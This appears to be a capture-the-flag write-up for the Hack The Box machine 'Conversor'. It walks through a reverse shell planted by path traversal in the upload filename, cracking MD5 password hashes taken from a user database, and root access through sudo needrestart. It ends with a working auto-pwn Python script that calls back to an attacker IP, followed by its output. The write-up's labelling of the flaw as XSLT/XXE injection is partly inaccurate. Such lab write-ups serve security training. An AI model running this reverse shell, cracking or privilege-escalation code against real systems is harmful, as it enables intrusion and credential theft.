Conversor - HTB Writeup
- OS: Linux
- Difficulty: Easy
- Machine IP:
10.129.238.31
export IP=10.129.238.31
Reconnaissance
nmap -p- --open -sCV --min-rate 10000 -O 10.129.238.31
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 04:47 -0500
Nmap scan report for conversor.htb (10.129.238.31)
Host is up (0.34s latency).
Not shown: 65193 closed tcp ports (reset), 340 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-title: Login
|_Requested resource was /login
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds
- Ports open: [
22, 80]
SSH + an Apache server running a flask application. Unfortunately neither of the versions of SSH/Apache were exploitable via known CVE’s, though the nmap scan did turn up with the domain conversor.htb so after adding that to /etc/hosts:
- Note: The scan above was done prior to solving the box, i used the flag --script vuln for my initial scan. Though it doesn’t make much of a difference and conversor.htb doesn’t show above simply because it’s already added in my /etc/hosts file.
echo $IP conversor.htb | sudo tee -a /etc/hosts
After a quick look through the site, we are able to download the source code. From a glance, the concept of the site is very simply, converting an XML file along with the XSLT sheet file to transform it into a more aesthetically pleasing format. It even provides a template to use from an XML output of an nmap scan. It took about 2 google searches for me to find the intended route of exploitation, to be honest. “XML XSLT Injection” -> PayloadAllTheThings repo from github -> Profit.
Didn’t even need to run any subdomain/directory brute forcing, no parameter fuzzing, nothing. Straight forward, and simple. Nice…

Vulnerable area of the code
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
This code is vulnerable to XSLT/XXE Injection:
More specifically:
# XML parser has restrictions (but doesn't matter much)
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
# XSLT parser has NO restrictions! This is the vulnerability.
xslt_tree = etree.parse(xslt_path) # <-- No secure parser!
transform = etree.XSLT(xslt_tree)
Initial Access as www-data
Machine is vulnerable to XSLT/XXE Injection, allowing us to write arbitrary files. Because of the cronjob script that runs all python scripts in the /cron directory every 60s, we simply write a reverse shell to get a shell as the user www-data then, from the source code we downloaded earlier, inspect instance/users.db and when dumping the .users table we get:
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|a|0cc175b9c0f1b6a831c399e269772661
After running this through hashid -m, it’s clear its a MD5 hash. I then used Crackstation to crack the hash giving me SSH access as the user fismathack with the password: Keepmesafeandwarm

Literally first command I run we find the privilege escalation vector:
Logging in via SSH as fismathack
After running a few basic OS enumeration commands designed to search for privilege escalation vectors:
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
Nice…
Privilege Escalation
Lets take a look at what this script does:
(Most of the script was snipped except for the relevant part).
Vulnerable section of the needrestart script
#!/usr/bin/perl
[SNIP]...
# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
local $/;
open my $fh, $opt_c or die "ERROR: $!\n";
my $cfg = <$fh>;
close($fh);
$cfg;
};
die "Error parsing $opt_c: $@" if($@);
It’s a rather large script, so like any normal person… I pasted it into ChatGPT and asked wtf it does because I don’t know perl though it’s rather straight forward mostly. My assumption is that we specify some sort of config file that very simply calls exec with preserved privileges:
cat > exploit.conf << 'EOF'
exec "/bin/bash","-p";
EOF
Worked first try:
fismathack@conversor:~$ cat user.txt
[REDACTED]
fismathack@conversor:~$ echo -n 'exec "/bin/sh","-p";' > exploit.conf
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ sudo /usr/sbin/needrestart -c exploit.conf
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
[REDACTED]
Too easy…
Fully automated exploitation using Python
- It’s 5AM and i’m bored. So… this was the result after manually pwning the machine as it was rather easy.
#!/usr/bin/env python3
"""
conversor.htb - Full Auto-Pwn
"""
import requests
import socket
import threading
import hashlib
import time
import random
import string
import sys
import os
try:
import paramiko
except ImportError:
os.system("pip install paramiko -q")
import paramiko
# ═══════════════════════════════════════════════════════════════════
# CONFIG
# ═══════════════════════════════════════════════════════════════════
TARGET = "http://conversor.htb"
TARGET_HOST = "conversor.htb"
LHOST = "10.10.14.147"
LPORT = 9001
ROCKYOU = "/usr/share/wordlists/rockyou.txt"
# only compute rainbow table on first run, then cache results in `/tmp` dir.
RAINBOW_CACHE = "/tmp/md5_rainbow.txt"
#random username/password
def rand(n=8):
return ''.join(random.choices(string.ascii_lowercase, k=n))
def status(msg, lvl="*"):
c = {"*": "\033[94m", "+": "\033[92m", "-": "\033[91m", "!": "\033[93m", "~": "\033[95m"}
print(f"{c.get(lvl, '')}[{lvl}]\033[0m {msg}", flush=True)
def section(title):
print(f"\n\033[96m{'═'*60}\n {title}\n{'═'*60}\033[0m", flush=True)
class Rainbow:
def __init__(self):
self.table = {}
self.ready = False
def load(self):
if os.path.exists(RAINBOW_CACHE):
with open(RAINBOW_CACHE, 'r') as f:
for line in f:
if ':' in line:
h, p = line.strip().split(':', 1)
self.table[h] = p
elif os.path.exists(ROCKYOU):
with open(ROCKYOU, 'r', encoding='latin-1') as f:
for line in f:
pwd = line.rstrip('\n\r')
self.table[hashlib.md5(pwd.encode('latin-1')).hexdigest()] = pwd
with open(RAINBOW_CACHE, 'w') as f:
for h, p in self.table.items():
f.write(f"{h}:{p}\n")
self.ready = True
def crack(self, h, timeout=120):
start = time.time()
while not self.ready and (time.time() - start) < timeout:
time.sleep(0.5)
return self.table.get(h.lower())
rainbow = Rainbow()
# ═══════════════════════════════════════════════════════════════════
# EXPLOIT
# ═══════════════════════════════════════════════════════════════════
class Exploit:
def __init__(self):
self.web = requests.Session()
self.user = rand()
self.pwd = rand()
self.shell_name = f"{rand()}.py"
self.shell = None
self.shell_ready = threading.Event()
self.ssh = None
self.creds = []
def register(self):
status(f"Registering {self.user}:{self.pwd}")
r = self.web.post(f"{TARGET}/register", data={"username": self.user, "password": self.pwd}, allow_redirects=False, timeout=10)
if r.status_code == 302:
status("Registered", "+")
return True
return False
def login(self):
status("Logging in...")
r = self.web.post(f"{TARGET}/login", data={"username": self.user, "password": self.pwd}, allow_redirects=False, timeout=10)
if r.status_code == 302:
status("Got session", "+")
return True
return False
def upload_shell(self):
SHELL = f'''import socket,os,pty
s=socket.socket()
s.connect(("{LHOST}",{LPORT}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
'''
XSLT = '''<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><x/></xsl:template>
</xsl:stylesheet>'''
status(f"Uploading ../scripts/{self.shell_name}")
files = {
'xml_file': (f'../scripts/{self.shell_name}', SHELL, 'application/octet-stream'),
'xslt_file': ('v.xslt', XSLT, 'application/xslt+xml'),
}
r = self.web.post(f"{TARGET}/convert", files=files, timeout=10)
status(f"Response: {r.text[:50]}", "+")
return True
def listen(self):
def _listen():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", LPORT))
srv.listen(1)
srv.settimeout(120)
status(f"Listening on :{LPORT}")
try:
self.shell, addr = srv.accept()
status(f"Shell from {addr[0]}", "+")
self.shell_ready.set()
except:
pass
srv.close()
threading.Thread(target=_listen, daemon=True).start()
time.sleep(0.5)
def sh(self, cmd, timeout=5):
if not self.shell: return ""
try:
self.shell.setblocking(0)
try:
while self.shell.recv(4096): pass
except: pass
self.shell.setblocking(1)
self.shell.settimeout(timeout)
self.shell.send(f"{cmd}\n".encode())
time.sleep(0.5)
out = b""
while True:
try:
out += self.shell.recv(4096)
except:
break
lines = out.decode(errors='ignore').split('\n')
return '\n'.join(l.strip() for l in lines if l.strip() and not l.strip().endswith('$') and not l.strip().endswith('#') and cmd[:10] not in l)
except:
return ""
def ssh_connect(self, user, pwd):
status(f"SSH → {user}:{pwd}")
try:
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect(TARGET_HOST, 22, user, pwd, timeout=10)
status("SSH connected", "+")
return True
except Exception as e:
status(f"SSH failed: {e}", "-")
return False
def ssh_exec(self, cmd):
if not self.ssh: return ""
_, out, err = self.ssh.exec_command(cmd, timeout=10)
return (out.read() + err.read()).decode(errors='ignore').strip()
def dump_and_crack(self):
section("DATABASE DUMP & CRACK")
out = self.sh('sqlite3 /var/www/conversor.htb/instance/users.db "SELECT id,username,password FROM users;"')
print("─"*55)
for line in out.split('\n'):
if '|' not in line: continue
parts = line.split('|')
if len(parts) < 3: continue
uid, user, h = parts[0].strip(), parts[1].strip(), parts[2].strip()
if user == self.user: continue
pwd = rainbow.crack(h)
if pwd:
print(f" \033[92m{user:15}\033[0m | {h} → \033[93m{pwd}\033[0m")
self.creds.append((user, pwd))
else:
print(f" {user:15} | {h} → ???")
print("─"*55)
def privesc(self):
section("PRIVILEGE ESCALATION")
sudo = self.ssh_exec("sudo -l")
status(f"sudo -l output:\n{sudo}", "*")
if "needrestart" not in sudo:
status("needrestart not found", "-")
return False
status("Exploiting needrestart...", "+")
# Create config
self.ssh_exec('echo \'$nrconf{restart} = "a]"; exec "/bin/bash";\' > /tmp/pwn.conf')
# Get root and flag via channel
chan = self.ssh.invoke_shell()
time.sleep(0.5)
# Drain initial output
while chan.recv_ready():
chan.recv(4096)
# Trigger privesc
chan.send(b"sudo /usr/sbin/needrestart -c /tmp/pwn.conf\n")
time.sleep(2)
# Drain output
while chan.recv_ready():
chan.recv(4096)
# Check root
chan.send(b"id\n")
time.sleep(1)
out = b""
while chan.recv_ready():
out += chan.recv(4096)
status(f"id output: {out.decode(errors='ignore')}", "*")
if b"uid=0" not in out:
status("Privesc failed", "-")
chan.close()
return False
status("GOT ROOT!", "+")
# Get root flag
chan.send(b"cd /root && cat root.txt\n")
time.sleep(1)
out = b""
while chan.recv_ready():
out += chan.recv(4096)
decoded = out.decode(errors='ignore')
status(f"Raw output:\n{decoded}", "*")
# Extract flag (32 hex chars)
for line in decoded.split('\n'):
line = line.strip()
if len(line) == 32 and all(c in '0123456789abcdef' for c in line):
status(f"ROOT FLAG: {line}", "+")
chan.close()
return True
chan.close()
return True
def run(self):
print("""\033[96m
╔═══════════════════════════════════════════════════════════════════╗
║ conversor.htb - Full Auto-Pwn ║
╚═══════════════════════════════════════════════════════════════════╝\033[0m""")
# Rainbow table background
threading.Thread(target=rainbow.load, daemon=True).start()
section("PHASE 1: WEB AUTH")
if not self.register() or not self.login():
return
section("PHASE 2: REVERSE SHELL")
self.listen()
self.upload_shell()
status("Waiting for cron (max 120s)...", "!")
if not self.shell_ready.wait(120):
status("No callback", "-")
return
time.sleep(1)
status(f"Shell as: {self.sh('whoami')}", "+")
self.dump_and_crack()
if not self.creds:
status("No creds cracked", "-")
return
section("PHASE 3: SSH ACCESS")
for user, pwd in self.creds:
if self.ssh_connect(user, pwd):
break
else:
return
section("PHASE 4: FLAGS")
user_flag = self.ssh_exec("cat ~/user.txt")
status(f"USER FLAG: {user_flag}", "+")
self.privesc()
section("COMPLETE")
status("Box pwned!", "+")
if __name__ == "__main__":
try:
Exploit().run()
except KeyboardInterrupt:
print("\n[!] Interrupted")
The script works as follows:
- Because I already previously solved the box manually, I had used hashcat + crackstation (both worked quickly) to crack the
MD5hash. So, in the automation script, it immediately starts building a MD5 Rainbow hash table in the background using thethreadinglibrary. This allows us to very quickly crack the hash from the database once retrieved.- Wordlist used:
/usr/share/wordlists/rockyou.txt
- Wordlist used:
- Register account
- Login using said credentials and get the session cookie
- Upload python reverse shell using XSLT/XXE RFI (remote file inclusion, as we are able to easily write files at specified paths).
- Wait for the cronjob to run (specified in the downloaded source code in
install.md) -> Get a shell aswww-dataafter starting a listener on the designated port. In this case, 9001. - Dump the database credentials and crack
fismathackshashed password using the pre-computed rainbow table (attempts to look for cached table in"/tmp/md5_rainbow.txt"before computing full during runtime each time). - Use the Cracked credentials (
fismathacks:Keepmesafeandwarm) to SSH into the server and get theuser.txtflag.
8 Perform basic OS Enumeration for various privilege escalation vectors.- Observe the output of
sudo -land theNOPASSWDprivilege granted to the/usr/sbin/needrestartperl script.
- Observe the output of
- Write a malicious config file to easily escalate our privileges:
- `echo -n ‘exec “/bin/bash”,”-p”’ > pwn.conf
- Run the script with
sudoprivileges and escalate privileges to therootuser. (-pwill preserve privileges that the script is ran with,sudoin this case… thus the root shell). - Get the
rootflag from/root/root.txt.
Output:
└─$ python pwn.py
╔═══════════════════════════════════════════════════════════════════╗
║ conversor.htb - Full Auto-Pwn ║
╚═══════════════════════════════════════════════════════════════════╝
════════════════════════════════════════════════════════════
PHASE 1: WEB AUTH
════════════════════════════════════════════════════════════
[*] Registering bmrkhgtl:jrvrojfx
[+] Registered
[*] Logging in...
[+] Got session
════════════════════════════════════════════════════════════
PHASE 2: REVERSE SHELL
════════════════════════════════════════════════════════════
[*] Listening on :9001
[*] Uploading ../scripts/iuvcfuen.py
[+] Response: Error: Start tag expected, '<' not found, line 1,
[!] Waiting for cron (max 120s)...
[+] Shell from 10.129.238.31
[+] Shell as: www-data
════════════════════════════════════════════════════════════
DATABASE DUMP & CRACK
════════════════════════════════════════════════════════════
───────────────────────────────────────────────────────
fismathack | 5b5c3ac3a1c897c94caad48e6c71fdec → Keepmesafeandwarm
a | 0cc175b9c0f1b6a831c399e269772661 → a
hrrehuwl | 9ae1c447cbe2a99e46fcf171305e4f0b → ???
dobitcww | e355352035712e2b2e8a4dd3b03bdd25 → ???
qfcszkok | ca396ac3f59422738af32fad9ada3e9b → ???
───────────────────────────────────────────────────────
════════════════════════════════════════════════════════════
PHASE 3: SSH ACCESS
════════════════════════════════════════════════════════════
[*] SSH → fismathack:Keepmesafeandwarm
[+] SSH connected
════════════════════════════════════════════════════════════
PHASE 4: FLAGS
════════════════════════════════════════════════════════════
[+] USER FLAG: [REDACTED]
════════════════════════════════════════════════════════════
PRIVILEGE ESCALATION
════════════════════════════════════════════════════════════
[*] sudo -l output:
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
[+] Exploiting needrestart...
[*] id output: id
uid=0(root) gid=0(root) groups=0(root)
root@conversor:/home/fismathack#
[+] GOT ROOT!
[*] Raw output:
cd /root && cat root.txt
[REDACTED]
root@conversor:~#
════════════════════════════════════════════════════════════
COMPLETE
════════════════════════════════════════════════════════════
[+] Box pwned!